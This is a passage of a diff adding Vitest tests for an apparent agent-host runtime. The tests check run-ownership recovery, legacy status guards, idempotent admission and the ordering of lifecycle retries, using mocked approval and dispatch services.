+      snapshotTarget: { agentId: 'writer', threadId: 'other-thread' },
+    });
+    onTestFinished(() => {
+      vi.restoreAllMocks();
+      f.sql.close();
+    });
+    const state = structuredClone(f.state);
+    const owners = f.owners();
+    const claim = await f.reservations.readForAdmission('host-r1-key');
+    const terminate = vi.spyOn(f.app.runtime, 'terminateAsPrincipal');
+    const resume = vi.spyOn(FlowsafeDurableAgent.prototype, 'resumeViaRuntime');
+    const selected = vi.spyOn(f.app.runtime, 'authoritativeStartState');
+    const operation = async () => {
+      if (route === 'blocking') return f.host.blockingRun(f.scope);
+      if (route === 'schedule dispatch')
+        return f.host.scheduleDispatchStatus(f.scope, {
+          agentId: 'writer',
+          resourceId: RESOURCE_ID,
+          runId: 'acme_run',
+        });
+      if (route === 'proof') {
+        const bound = await f.host.resolveBoundAgent(f.scope, {
+          agentId: 'writer',
+          entryPath: 'http.start',
+        });
+        return bound.durableAgent.proofExecutionFor(
+          f.app.runtime,
+          'acme_thread',
+          'acme_run',
+        );
+      }
+      if (route === 'resume')
+        return f.host.route(
+          new Request('https://thread/_flowsafe/agent-host/resume', {
+            method: 'POST',
+            headers: { 'content-type': 'application/json' },
+            body: JSON.stringify({
+              agentId: 'writer',
+              threadId: 'acme_thread',
+              resourceId: RESOURCE_ID,
+              runId: 'acme_run',
+              requestedBy: 'reviewer-2',
+              entryPath: 'approval.resume',
+              resumeData: {},
+            }),
+          }),
+          f.scope,
+        );
+      return f.host.route(
+        hostR1AgentRequest(
+          route === 'terminate replay' ? '/terminate' : '',
+          route === 'dispatch' ? '&dispatch=1' : '&dispatch=1&replay=1',
+        ),
+        f.scope,
+      );
+    };
+    const outcome = await operation().catch((error) => error);
+    expect(outcome).toBeInstanceOf(AgentRunSelectorMismatchError);
+    expect(doErrorResponse(outcome).status).toBe(503);
+    expect(selected).toHaveBeenCalledOnce();
+    expect(terminate).not.toHaveBeenCalled();
+    expect(resume).not.toHaveBeenCalled();
+    expect(f.state).toEqual(state);
+    expect(f.owners()).toEqual(owners);
+    expect(await f.reservations.readForAdmission('host-r1-key')).toEqual(claim);
+    expect(f.approvals.list).not.toHaveBeenCalled();
+    expect(f.dispatch).not.toHaveBeenCalled();
+  });
+
+  it.each([
+    'prepared',
+    'prepared-unfenced',
+  ] as const)('retains a %s keyed journal and rearms recovery for a coherent foreign row', async (phase) => {
+    const f = await hostR1AgentFixture({
+      mode: phase === 'prepared' ? 'fenced' : 'actual-prefix',
+      provenance: 'modern',
+      journal: true,
+      keyed: true,
+      snapshotTarget: { agentId: 'writer', threadId: 'other-thread' },
+    });
+    onTestFinished(() => {
+      vi.restoreAllMocks();
+      f.sql.close();
+    });
+    const state = structuredClone(f.state);
+    const owners = f.owners();
+    const row = await f.read();
+    const claim = await f.reservations.readForAdmission('host-r1-key');
+    const settle = vi.spyOn(f.resources, 'settleReservation');
+    const settleStart = vi.spyOn(f.app.runtime, 'settleStartExecution');
+    const recover = vi.spyOn(f.app.runtime, 'recoverStartAttempt');
+    const outcome = await f.host
+      .recoverOwnership(f.scope)
+      .catch((error) => error);
+    expect(doErrorResponse(outcome).status).toBe(503);
+    if (phase === 'prepared-unfenced')
+      expect(outcome).toBeInstanceOf(AgentRunSelectorMismatchError);
+    expect(f.state).toEqual(state);
+    expect(f.owners()).toEqual(owners);
+    expect(await f.read()).toEqual(row);
+    expect(await f.reservations.readForAdmission('host-r1-key')).toEqual(claim);
+    expect(f.alarmAt()).toBeDefined();
+    expect(settle).not.toHaveBeenCalled();
+    expect(settleStart).not.toHaveBeenCalled();
+    expect(recover).toHaveBeenCalledTimes(phase === 'prepared' ? 1 : 0);
+    expect(f.approvals.list).not.toHaveBeenCalled();
+    expect(f.dispatch).not.toHaveBeenCalled();
+  });
+
+  it('preserves a reserved start when actual host replay observes another thread', async () => {
+    const f = await hostR1AgentFixture({
+      provenance: 'modern',
+      keyed: true,
+      snapshotTarget: { agentId: 'writer', threadId: 'other-thread' },
+    });
+    onTestFinished(() => {
+      vi.restoreAllMocks();
+      f.sql.close();
+    });
+    const { createPrincipalActorContext, InMemoryApprovalStoreFactory } =
+      await import('../approval-api/index.js');
+    const context = createPrincipalActorContext({
+      principal: f.scope.principal,
+      storeFactory: new InMemoryApprovalStoreFactory(),
+      buildService: () => f.approvals as unknown as ApprovalService,
+    });
+    const hits: string[] = [];
+    const topology = createAgentThreadTopology(
+      {
+        idFromName: (name: string) => name,
+        get: () => ({
+          fetch: (async (
+            request: Request | string,
+            init?: import('../host-kit/thread-topology.js').ThreadRequestInit,
+          ) => {
+            const url = typeof request === 'string' ? request : request.url;
+            hits.push(url);
+            try {
+              return (
+                (await f.host.route(new Request(url, init), f.scope)) ??
+                new Response(null, { status: 404 })
+              );
+            } catch (error) {
+              return doErrorResponse(error);
+            }
+          }) as import('../host-kit/thread-topology.js').ThreadStubLike['fetch'],
+        }),
+      },
+      'test-deployment-identity-secret-0001',
+      { startIdempotency: f.reservations, executionFence: 'none' },
+    );
+    const before = await f.reservations.readForAdmission('host-r1-key');
+    const outcome = await topology
+      .start(context, {
+        agentId: 'writer',
+        prompt: 'retry',
+        entryPath: 'http.start',
+        idempotencyKey: 'host-r1-key',
+      })
+      .catch((error) => error);
+    expect(outcome).toMatchObject({
+      status: 503,
+      message:
+        "run 'acme_run' of workflow 'durable-agentic-loop' state is not readable",
+    });
+    expect(hits).toHaveLength(1);
+    expect(hits[0]).toContain('dispatch=1&replay=1');
+    expect(await f.reservations.readForAdmission('host-r1-key')).toEqual(
+      before,
+    );
+    expect(mocked.stream).not.toHaveBeenCalled();
+    expect(f.approvals.list).not.toHaveBeenCalled();
+  });
+});
+
+describe('FS8 D3 host R1 agent legacy status guards', () => {
+  it.each([
+    ['missing binding', true, 404],
+    ['wrong binding', true, 404],
+    ['unthreaded binding', false, 404],
+    ['wrong record agent', true, 404],
+    ['missing principal', true, 409],
+  ] as const)('refuses before approval effects (%s)', async (guard, threaded, status) => {
+    const fixture = await hostR1AgentFixture({ threaded });
+    if (guard === 'missing binding') fixture.state.delete(THREAD_BINDING_KEY);
+    if (guard === 'wrong binding' || guard === 'unthreaded binding')
+      fixture.state.set(THREAD_BINDING_KEY, {
+        version: 1,
+        agentId: guard === 'wrong binding' ? 'foreign' : 'writer',
+        resourceId: RESOURCE_ID,
+      });
+    if (guard === 'wrong record agent')
+      fixture.state.set(TEST_RUN_RECORD_KEY, {
+        ...(fixture.state.get(TEST_RUN_RECORD_KEY) as object),
+        agentId: 'foreign',
+      });
+    if (guard === 'missing principal')
+      fixture.state.delete(TEST_RUN_RECORD_KEY);
+    const before = structuredClone(fixture.state);
+    const outcome = await fixture.host
+      .route(hostR1AgentRequest(), fixture.scope)
+      .catch((error: unknown) => error);
+    expect(fixture.approvals.list).not.toHaveBeenCalled();
+    expect(fixture.approvals.createAsPrincipal).not.toHaveBeenCalled();
+    expect(fixture.state).toEqual(before);
+    expect(outcome).toMatchObject({ status });
+  });
+
+  it.each([
+    'v1',
+    'absent',
+  ] as const)('retains raw pending with terminal projection (%s)', async (provenance) => {
+    const fixture = await hostR1AgentFixture({
+      provenance,
+      status: 'pending',
+      lifecycle: true,
+    });
+    const before = fixture.owners();
+    const outcome = await fixture.host
+      .blockingRun(fixture.scope)
+      .catch((error: unknown) => error);
+    expect(fixture.owners()).toEqual(before);
+    expect(fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(true);
+    expect(fixture.approvals.list).not.toHaveBeenCalled();
+    expect(fixture.dispatch).not.toHaveBeenCalled();
+    expect(outcome).toMatchObject({ runId: 'acme_run' });
+  });
+
+  it.each([
+    'malformed provenance',
+    'source error',
+  ] as const)('never falls back after actual selected read failure (%s)', async (failure) => {
+    const fixture = await hostR1AgentFixture();
+    if (failure === 'malformed provenance') {
+      fixture.snapshot.requestContext = {
+        ...fixture.snapshot.requestContext,
+        'flowsafe.runProvenance': { version: 2 },
+      };
+      await fixture.persist();
+    } else {
+      const domain = fixture.workflows as FencedWorkflowsStorageD1;
+      const native = domain[FENCED_WORKFLOW_STORAGE];
+      if (!native) throw new Error('missing capability');
+      Object.defineProperty(domain, FENCED_WORKFLOW_STORAGE, {
+        value: {
+          ...native,
+          readSnapshot: async () => {
+            throw new Error('actual source failed');
+          },
+        },
+        configurable: true,
+      });
+    }
+    const nominal = vi.spyOn(fixture.workflows, 'loadWorkflowSnapshot');
+    const before = structuredClone(fixture.state);
+    const outcome = await fixture.host
+      .route(hostR1AgentRequest(), fixture.scope)
+      .catch((error: unknown) => error);
+    expect(fixture.state).toEqual(before);
+    expect(fixture.approvals.list).not.toHaveBeenCalled();
+    expect(nominal).not.toHaveBeenCalled();
+    expect(outcome).toBeInstanceOf(RunStateUnreadableError);
+    expect(doErrorResponse(outcome).status).toBe(503);
+  });
+});
+
+describe('FS8 D3 host R1 agent recovery barriers', () => {
+  it.each([
+    ['custom-null', 'missing'],
+    ['custom-null', 'pending'],
+    ['custom-null', 'suspended'],
+    ['actual-prefix', 'missing'],
+    ['actual-prefix', 'pending'],
+    ['actual-prefix', 'suspended'],
+  ] as const)('retains keyed nonterminal authority before missing-store refusal (%s %s)', async (mode, status) => {
+    const fixture = await hostR1AgentFixture({
+      mode,
+      status: status === 'missing' ? 'pending' : status,
+      provenance: 'modern',
+      keyed: true,
+      wired: false,
+      journal: true,
+    });
+    if (status === 'missing')
+      await fixture.workflows.deleteWorkflowRunById({
+        workflowName: fixture.execution.workflowId,
+        runId: 'acme_run',
+      });
+    const before = fixture.owners();
+    const bound = await fixture.reservations.readForAdmission('host-r1-key');
+    const row = await fixture.read();
+    const b2 = vi.spyOn(fixture.app.runtime, 'recoverStartAttempt');
+    const settle = vi.spyOn(fixture.resources, 'settleReservation');
+    const outcome = await fixture.host
+      .recoverOwnership(fixture.scope)
+      .catch((error: unknown) => error);
+    expect(fixture.owners()).toEqual(before);
+    expect(settle).not.toHaveBeenCalled();
+    expect(fixture.state.get(TEST_OWNER_RECOVERY_KEY)).toEqual(
+      fixture.recovery,
+    );
+    expect(fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(true);
+    expect(fixture.state.has(THREAD_BINDING_KEY)).toBe(true);
+    expect(await fixture.reservations.readForAdmission('host-r1-key')).toEqual(
+      bound,
+    );
+    expect(await fixture.read()).toEqual(row);
+    expect(fixture.alarmAt()).toBeDefined();
+    expect(b2).not.toHaveBeenCalled();
+    expect(outcome).toMatchObject({ status: 503 });
+  });
+
+  it.each([
+    ['custom-null', true],
+    ['custom-null', false],
+    ['actual-prefix', true],
+    ['actual-prefix', false],
+  ] as const)('finishes wired or unkeyed suspended recovery (%s keyed=%s)', async (mode, keyed) => {
+    const fixture = await hostR1AgentFixture({
+      mode,
+      provenance: 'modern',
+      keyed,
+      journal: true,
+      status: 'suspended',
+    });
+    const before = keyed
+      ? await fixture.reservations.readForAdmission('host-r1-key')
+      : undefined;
+    await fixture.host.recoverOwnership(fixture.scope);
+    expect(fixture.state.has(TEST_OWNER_RECOVERY_KEY)).toBe(false);
+    expect(fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(true);
+    expect(await fixture.resources.owner('run', 'acme_run')).toEqual(
+      HUMAN_OWNER,
+    );
+    expect(
+      keyed
+        ? await fixture.reservations.readForAdmission('host-r1-key')
+        : undefined,
+    ).toEqual(before);
+    expect(mocked.stream).not.toHaveBeenCalled();
+  });
+
+  it.each([
+    'generation',
+    'phase',
+  ] as const)('preserves all H ownership when the journal changes inside actual absence read (%s)', async (change) => {
+    const fixture = await hostR1AgentFixture({
+      mode: 'fenced',
+      provenance: 'modern',
+      journal: true,
+    });
+    await fixture.workflows.deleteWorkflowRunById({
+      workflowName: fixture.execution.workflowId,
+      runId: 'acme_run',
+    });
+    const before = fixture.owners();
+    const record = structuredClone(fixture.state.get(TEST_RUN_RECORD_KEY));
+    const binding = structuredClone(fixture.state.get(THREAD_BINDING_KEY));
+    const replacement = structuredClone(fixture.recovery);
+    if (change === 'generation')
+      (replacement.execution as { startToken: string }).startToken =
+        'replacement-generation';
+    else replacement.phase = 'prepared-unfenced';
+    const domain = fixture.workflows as FencedWorkflowsStorageD1;
+    const native = domain[FENCED_WORKFLOW_STORAGE];
+    if (!native) throw new Error('missing capability');
+    const read = vi.fn(
+      async (...args: Parameters<typeof native.readSnapshot>) => {
+        const row = await native.readSnapshot(...args);
+        expect(row).toBeUndefined();
+        fixture.state.set(TEST_OWNER_RECOVERY_KEY, replacement);
+        return row;
+      },
+    );
+    Object.defineProperty(domain, FENCED_WORKFLOW_STORAGE, {
+      value: { ...native, readSnapshot: read },
+      configurable: true,
+    });
+    const outcome = await fixture.host
+      .recoverOwnership(fixture.scope)
+      .catch((error: unknown) => error);
+    expect(fixture.owners()).toEqual(before);
+    expect(fixture.state.get(TEST_OWNER_RECOVERY_KEY)).toEqual(replacement);
+    expect(fixture.state.get(TEST_RUN_RECORD_KEY)).toEqual(record);
+    expect(fixture.state.get(THREAD_BINDING_KEY)).toEqual(binding);
+    expect(read).toHaveBeenCalledOnce();
+    expect(outcome).toBeInstanceOf(Error);
+  });
+
+  it.each([
+    ['approvals', 'failure'],
+    ['approvals', 'response loss'],
+    ['dispatch', 'failure'],
+    ['dispatch', 'response loss'],
+    ['run owner', 'failure'],
+    ['run owner', 'response loss'],
+    ['H bookkeeping', 'failure'],
+    ['H bookkeeping', 'response loss'],
+    ['completion', 'failure'],
+    ['completion', 'response loss'],
+  ] as const)('retains journal through ordered lifecycle retry (%s %s)', async (boundary, failureMode) => {
+    const fixture = await hostR1AgentFixture({
+      mode: 'fenced',
+      provenance: 'modern',
+      status: 'cancelled',
+      journal: true,
+      lifecycle: true,
+    });
+    fixture.sql
+      .prepare(
+        "UPDATE flowsafe_resource_owners SET reservation_token = NULL WHERE resource_kind = 'run' AND resource_id = 'acme_run'",
+      )
+      .run();
+    const failure = new Error('host lifecycle boundary failed');
+    const events: string[] = [];
+    let armed = true;
+    const enter = async <T>(
+      name: string,
+      action: () => Promise<T>,
+    ): Promise<T> => {
+      events.push(name);
+      if (armed && name === boundary && failureMode === 'failure')
+        throw failure;
+      const result = await action();
+      if (armed && name === boundary) throw failure;
+      return result;
+    };
+    let approval: ApprovalRecord = {
+      id: 'host-r1-approval',
+      workflowId: fixture.execution.workflowId,
+      runId: 'acme_run',
+      title: 'Held approval',
+      connectors: [],
+      priority: 'normal',
+      status: 'pending',
+      createdAt: '2026-09-08T00:00:00.000Z',
+      updatedAt: '2026-09-08T00:00:00.000Z',
+    };
+    fixture.approvals.list.mockImplementation(async () => [
+      structuredClone(approval),
+    ]);
+    fixture.approvals.supersedeStaleAsPrincipal.mockImplementation(() =>
+      enter('approvals', async () => {
+        approval = { ...approval, status: 'rejected' };
+        return approval;
+      }),
+    );
+    fixture.dispatch.mockImplementation(() =>
+      enter('dispatch', async () => {}),
+    );
+    const release = fixture.resources.release.bind(fixture.resources);
+    vi.spyOn(fixture.resources, 'release').mockImplementation((...args) =>
+      enter('run owner', () => release(...args)),
+    );
+    const settle = fixture.resources.settleReservation.bind(fixture.resources);
+    vi.spyOn(fixture.resources, 'settleReservation').mockImplementation(
+      (...args) => enter('H bookkeeping', () => settle(...args)),
+    );
+    const complete = fixture.app.runtime.completeTerminalCleanup.bind(
+      fixture.app.runtime,
+    );
+    vi.spyOn(fixture.app.runtime, 'completeTerminalCleanup').mockImplementation(
+      (...args) => enter('completion', () => complete(...args)),
+    );
+    const order = [
+      'H bookkeeping',
+      'approvals',
+      'dispatch',
+      'run owner',
+      'completion',
+    ];
+    const outcome = await fixture.host
+      .recoverOwnership(fixture.scope)
+      .catch((error: unknown) => error);
+    const reached = order.indexOf(boundary);
+    expect(approval.status).toBe(
+      boundary === 'H bookkeeping' ||
+        (boundary === 'approvals' && failureMode === 'failure')
+        ? 'pending'
+        : 'rejected',
+    );
+    expect(events, String(outcome)).toEqual(order.slice(0, reached + 1));
+    expect(fixture.state.get(TEST_OWNER_RECOVERY_KEY)).toEqual(
+      fixture.recovery,
+    );
+    expect(fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(
+      boundary !== 'completion',
+    );
+    expect(await fixture.resources.owner('run', 'acme_run')).toEqual(
+      reached < order.indexOf('run owner') ||
+        (boundary === 'run owner' && failureMode === 'failure')
+        ? HUMAN_OWNER
+        : undefined,
+    );
+    expect(fixture.alarmAt()).toBeDefined();
+    expect(outcome).toBe(failure);
+    armed = false;
+    events.length = 0;
+    await fixture.host.recoverOwnership(fixture.scope);
+    expect(events).toEqual(
+      boundary === 'completion' && failureMode === 'response loss'
+        ? ['H bookkeeping']
+        : boundary === 'H bookkeeping' ||
+            (boundary === 'approvals' && failureMode === 'failure')
+          ? order
+          : order.filter((step) => step !== 'approvals'),
+    );
+    expect(fixture.state.has(TEST_OWNER_RECOVERY_KEY)).toBe(false);
+    expect(fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(false);
+    expect(await fixture.resources.owner('run', 'acme_run')).toBeUndefined();
+    expect(await fixture.read()).toMatchObject({
+      requestContext: {
+        'flowsafe.runLifecycle': {
+          terminal: { cleanupCompletedAt: expect.any(Number) },
+        },
+      },
+    });
+    expect(mocked.stream).not.toHaveBeenCalled();
+  });
+});
+
+describe('FS8 D3 host R1 atomic agent admission', () => {
+  it('admits one different run ID on a prebound thread with committed same-owner claims', async () => {
+    const fixture = harness();
+    fixture.state.set(THREAD_BINDING_KEY, {
+      version: 1,
+      agentId: 'writer',
+      resourceId: RESOURCE_ID,
+    });
+    await fixture.resources.claim('thread', 'acme_thread', HUMAN_OWNER);
+    await fixture.resources.claim('resource', RESOURCE_ID, HUMAN_OWNER);
+    fixture.setSummary({ runId: 'acme_run', status: 'suspended' }, false);
+    const release = cDeferred();
+    mocked.stream.mockImplementation(async () => {
+      await release.promise;
+      return {};
+    });
+    const first = fixture.host.start(fixture.scope, C_START_INPUT);
+    const second = fixture.host.start(fixture.scope, {
+      ...C_START_INPUT,
+      runId: 'other-run',
+    });
+    const settled = Promise.allSettled([first, second]);
+    try {
+      await vi.waitFor(() => expect(mocked.stream).toHaveBeenCalled());
+      await new Promise<void>((resolve) => setTimeout(resolve, 0));
+      expect(mocked.stream).toHaveBeenCalledOnce();
+      expect(
+        [...fixture.state.keys()].filter((key) =>
+          key.startsWith(RUN_RECORD_PREFIX),
+        ),
+      ).toHaveLength(1);
+    } finally {
+      release.resolve();
+    }
+    const results = await settled;
+    expect(
+      results.filter((result) => result.status === 'fulfilled'),
+    ).toHaveLength(1);
+    expect(
+      results.filter((result) => result.status === 'rejected'),
+    ).toHaveLength(1);
+  });
+});
+
+describe('FS8 D3 host R1 ordinary legacy agent lifecycle', () => {
+  it.each([
+    ['v1', true],
+    ['v1', false],
+    ['absent', true],
+    ['absent', false],
+  ] as const)('terminates and replays the actual selected legacy row without settling retained key (%s threaded=%s)', async (provenance, threaded) => {
+    const fixture = await hostR1AgentFixture({
+      provenance,
+      threaded,
+      keyed: true,
+    });
+    const bound = await fixture.reservations.readForAdmission('host-r1-key');
+    const settle = vi.spyOn(fixture.app.runtime, 'settleStartExecution');
+    const b2 = vi.spyOn(fixture.app.runtime, 'recoverStartAttempt');
+    const complete = vi.spyOn(fixture.app.runtime, 'completeTerminalCleanup');
+    const terminate = vi.spyOn(fixture.app.runtime, 'terminateAsPrincipal');
+    const response = await fixture.host
+      .route(hostR1AgentRequest('/terminate'), fixture.scope)
+      .catch((error: unknown) => error);
+    expect(fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(false);
+    expect(await fixture.resources.owner('run', 'acme_run')).toBeUndefined();
+    expect(await fixture.reservations.readForAdmission('host-r1-key')).toEqual(
+      bound,
+    );
+    expect(settle).not.toHaveBeenCalled();
+    expect(b2).not.toHaveBeenCalled();
+    expect(complete).toHaveBeenCalledOnce();
+    expect(response).toMatchObject({ status: 200 });
+    const bytes = JSON.stringify(await fixture.read());
+    const replay = await fixture.host
+      .route(hostR1AgentRequest('/terminate', '&replay=1'), fixture.scope)
+      .catch((error: unknown) => error);
+    expect(JSON.stringify(await fixture.read())).toBe(bytes);
+    expect(await fixture.reservations.readForAdmission('host-r1-key')).toEqual(
+      bound,
+    );
+    expect(complete).toHaveBeenCalledOnce();
+    expect(terminate).toHaveBeenCalledTimes(2);
+    expect(replay).toMatchObject({ status: 200 });
+    expect(mocked.stream).not.toHaveBeenCalled();
+  });
+
+  it.each([
+    ['v1', true],
+    ['v1', false],
+    ['absent', true],
+    ['absent', false],
+  ] as const)('retires terminal resume using canonical principal and actual owner despite changed requester (%s threaded=%s)', async (provenance, threaded) => {
+    const fixture = await hostR1AgentFixture({ provenance, threaded });
+    const { FlowsafeDurableAgent } = await import(
+      '../agent-runner/durable-agent-runner.js'
+    );
+    const resume = vi
+      .spyOn(FlowsafeDurableAgent.prototype, 'resumeViaRuntime')
+      .mockImplementation(async () => {
+        fixture.snapshot.status = 'success';
+        fixture.snapshot.result = { result: 'resumed' };
+        if (provenance === 'v1')
+          fixture.snapshot.requestContext = {
+            ...fixture.snapshot.requestContext,
+            'flowsafe.runProvenance': {
+              version: 1,
+              attemptToken: 'host-r1-legacy-leg',
+              requestedBy: 'reviewer-2',
+              requestedByKind: 'human',
+              resumeCounts: [],
+            },
+          };
+        await fixture.persist();
+        return {
+          runId: 'acme_run',
+          status: 'success',
+          result: fixture.snapshot.result,
+          requestedBy: provenance === 'v1' ? 'reviewer-2' : undefined,
+        };
+      });
+    const settle = vi.spyOn(fixture.app.runtime, 'settleStartExecution');
+    try {
+      const response = await fixture.host
+        .route(
+          new Request('https://thread/_flowsafe/agent-host/resume', {
+            method: 'POST',
+            headers: { 'content-type': 'application/json' },
+            body: JSON.stringify({
+              agentId: 'writer',
+              threadId: 'acme_thread',
+              resourceId: RESOURCE_ID,
+              runId: 'acme_run',
+              requestedBy: 'reviewer-2',
+              entryPath: 'approval.resume',
+              resumeData: {},
+            }),
+          }),
+          fixture.scope,
+        )
+        .catch((error: unknown) => error);
+      expect(fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(false);
+      expect(await fixture.resources.owner('run', 'acme_run')).toEqual(
+        HUMAN_OWNER,
+      );
+      expect(settle).not.toHaveBeenCalled();
+      expect(resume).toHaveBeenCalledOnce();
+      expect(response).toMatchObject({ status: 200 });
+      const bytes = JSON.stringify(await fixture.read());
+      await expect(
+        fixture.host.blockingRun(fixture.scope),
+      ).resolves.toBeUndefined();
+      expect(JSON.stringify(await fixture.read())).toBe(bytes);
+      expect(resume).toHaveBeenCalledOnce();
+    } finally {
+      resume.mockRestore();
+    }
+  });
+
+  it.each([
+    ['v1', 'blocker', 'success'],
+    ['absent', 'blocker', 'success'],
+    ['v1', 'blocker', 'suspended'],
+    ['absent', 'blocker', 'suspended'],
+    ['v1', 'dispatch', 'success'],
+    ['absent', 'dispatch', 'success'],
+    ['v1', 'status', 'success'],
+    ['absent', 'status', 'success'],
+    ['v1', 'protected dispatch', 'success'],
+    ['absent', 'protected dispatch', 'success'],
+  ] as const)('selects cold actual legacy state (%s %s %s)', async (provenance, path, status) => {
+    const fixture = await hostR1AgentFixture({
+      provenance,
+      status,
+      keyed: true,
+    });
+    const bytes = JSON.stringify(await fixture.read());
+    const bound = await fixture.reservations.readForAdmission('host-r1-key');
+    expect(fixture.app.runtime.workflowIds()).toEqual([]);
+    const operation = (async () => {
+      if (path === 'blocker') return fixture.host.blockingRun(fixture.scope);
+      if (path === 'dispatch')
+        return fixture.host.scheduleDispatchStatus(fixture.scope, {
+          agentId: 'writer',
+          resourceId: RESOURCE_ID,
+          runId: 'acme_run',
+        });
+      return fixture.host.route(
+        hostR1AgentRequest(
+          '',
+          path === 'protected dispatch' ? '&dispatch=1' : '',
+        ),
+        fixture.scope,
+      );
+    })();
+    const outcome = await operation.catch((error: unknown) => error);
+    expect(fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(status === 'suspended');
+    expect(JSON.stringify(await fixture.read())).toBe(bytes);
+    expect(await fixture.reservations.readForAdmission('host-r1-key')).toEqual(
+      bound,
+    );
+    expect(fixture.app.runtime.workflowIds()).toContain('durable-agentic-loop');
+    expect(mocked.stream).not.toHaveBeenCalled();
+    if (path === 'blocker')
+      expect(outcome).toEqual(
+        status === 'suspended'
+          ? expect.objectContaining({ runId: 'acme_run' })
+          : undefined,
+      );
+    else if (path === 'dispatch')
+      expect(outcome).toMatchObject({ runId: 'acme_run', status });
+    else expect(outcome).toMatchObject({ status: 200 });
+  });
+
+  it.each([
+    'v1',
+    'absent',
+  ] as const)('retries legacy hook failure without repeated engine execution (%s)', async (provenance) => {
+    const fixture = await hostR1AgentFixture({ provenance });
+    const failure = new Error('approval observation failed');
+    fixture.approvals.list.mockRejectedValueOnce(failure);
+    const complete = vi.spyOn(fixture.app.runtime, 'completeTerminalCleanup');
+    const result = await fixture.host
+      .route(hostR1AgentRequest('/terminate'), fixture.scope)
+      .catch((error: unknown) => error);
+    expect(await fixture.resources.owner('run', 'acme_run')).toEqual(
+      HUMAN_OWNER,
+    );
+    expect(fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(true);
+    expect(complete).not.toHaveBeenCalled();
+    expect(result).toBe(failure);
+    const retry = await fixture.host.route(
+      hostR1AgentRequest('/terminate', '&replay=1'),
+      fixture.scope,
+    );
+    expect(fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(false);
+    expect(await fixture.resources.owner('run', 'acme_run')).toBeUndefined();
+    expect(complete).toHaveBeenCalledOnce();
+    expect(retry?.status).toBe(200);
+    expect(mocked.stream).not.toHaveBeenCalled();
+  });
+
+  it.each([
+    'old journal',
+    'modern journal',
+    'malformed journal',
+    'active execution',
+  ] as const)('retains legacy terminal bookkeeping without cleanup authority (%s)', async (condition) => {
+    const fixture = await hostR1AgentFixture({
+      provenance: 'absent',
+      status: 'cancelled',
+      lifecycle: true,
+    });
+    if (condition === 'old journal')
+      fixture.state.set(TEST_OWNER_RECOVERY_KEY, { version: 1 });
+    if (condition === 'modern journal')
+      fixture.state.set(TEST_OWNER_RECOVERY_KEY, fixture.recovery);
+    if (condition === 'malformed journal')
+      fixture.state.set(TEST_OWNER_RECOVERY_KEY, null);
+    if (condition === 'active execution')
+      vi.spyOn(fixture.app.runtime, 'isRunActive').mockReturnValue(true);
+    const state = structuredClone(fixture.state);
+    const before = fixture.owners();
+    const outcome = await fixture.host
+      .blockingRun(fixture.scope)
+      .catch((error: unknown) => error);
+    expect(fixture.owners()).toEqual(before);
+    expect(fixture.state).toEqual(state);
+    expect(fixture.approvals.list).not.toHaveBeenCalled();
+    expect(fixture.dispatch).not.toHaveBeenCalled();
+    expect(outcome).toBeDefined();
+  });
+
+  it.each([
+    'record',
+    'binding',
+    'journal',
+  ] as const)('preserves replacement after legacy cleanup observation waits (%s)', async (replacement) => {
+    const fixture = await hostR1AgentFixture({
+      status: 'cancelled',
+      lifecycle: true,
+    });
+    const native = fixture.app.runtime.authoritativeStartState.bind(
+      fixture.app.runtime,
+    );
+    async function replaceDuringRead(
+      workflowId: string,
+      runId: string,
+      options: { readonly includeLegacy: true },
+    ): Promise<
+      | import('../do-runner/runtime.js').AuthoritativeStartState
+      | import('../do-runner/runtime.js').LegacyRunState
+      | null
+    >;
+    async function replaceDuringRead(
+      workflowId: string,
+      runId: string,
+    ): Promise<
+      import('../do-runner/runtime.js').AuthoritativeStartState | null
+    >;
+    async function replaceDuringRead(
+      workflowId: string,
+      runId: string,
+      options?: { readonly includeLegacy: true },
+    ): Promise<
+      | import('../do-runner/runtime.js').AuthoritativeStartState
+      | import('../do-runner/runtime.js').LegacyRunState
+      | null
+    > {
+      const selected = options
+        ? await native(workflowId, runId, options)
+        : await native(workflowId, runId);
+      if (replacement === 'record')
+        fixture.state.set(TEST_RUN_RECORD_KEY, {
+          ...(fixture.state.get(TEST_RUN_RECORD_KEY) as object),
+          principal: { ...fixture.scope.principal, role: 'admin' },
+        });
+      if (replacement === 'binding')
+        fixture.state.set(THREAD_BINDING_KEY, {
+          version: 1,
+          agentId: 'foreign',
+          resourceId: RESOURCE_ID,
+        });
+      if (replacement === 'journal')
+        fixture.state.set(TEST_OWNER_RECOVERY_KEY, { version: 1 });
+      return selected;
+    }
+    vi.spyOn(fixture.app.runtime, 'authoritativeStartState').mockImplementation(
+      replaceDuringRead,
+    );
+    const before = fixture.owners();
+    const outcome = await fixture.host
+      .blockingRun(fixture.scope)
+      .catch((error: unknown) => error);
+    expect(fixture.owners()).toEqual(before);
+    expect(fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(true);
+    expect(fixture.approvals.list).not.toHaveBeenCalled();
+    expect(fixture.dispatch).not.toHaveBeenCalled();
+    expect(outcome).toBeDefined();
+  });
+});
+
+describe('FS8 D3 host R1 reserved lifecycle owner', () => {
+  it('preserves the replacement journal before lifecycle effects after H settlement', async () => {
+    const fixture = await hostR1AgentFixture({
+      mode: 'fenced',
+      provenance: 'modern',
+      status: 'cancelled',
+      journal: true,
+      lifecycle: true,
+    });
+    const replacement = structuredClone(fixture.recovery);
+    (replacement.execution as { startToken: string }).startToken =
+      'replacement-after-settlement';
+    const native = fixture.resources.settleReservation.bind(fixture.resources);
+    vi.spyOn(fixture.resources, 'settleReservation').mockImplementation(
+      async (...args) => {
+        await native(...args);
+        fixture.state.set(TEST_OWNER_RECOVERY_KEY, replacement);
+      },
+    );
+    const release = vi.spyOn(fixture.resources, 'release');
+    const complete = vi.spyOn(fixture.app.runtime, 'completeTerminalCleanup');
+    const outcome = await fixture.host
+      .recoverOwnership(fixture.scope)
+      .catch((error: unknown) => error);
+    expect(fixture.approvals.list).not.toHaveBeenCalled();
+    expect(fixture.dispatch).not.toHaveBeenCalled();
+    expect(release).not.toHaveBeenCalled();
+    expect(complete).not.toHaveBeenCalled();
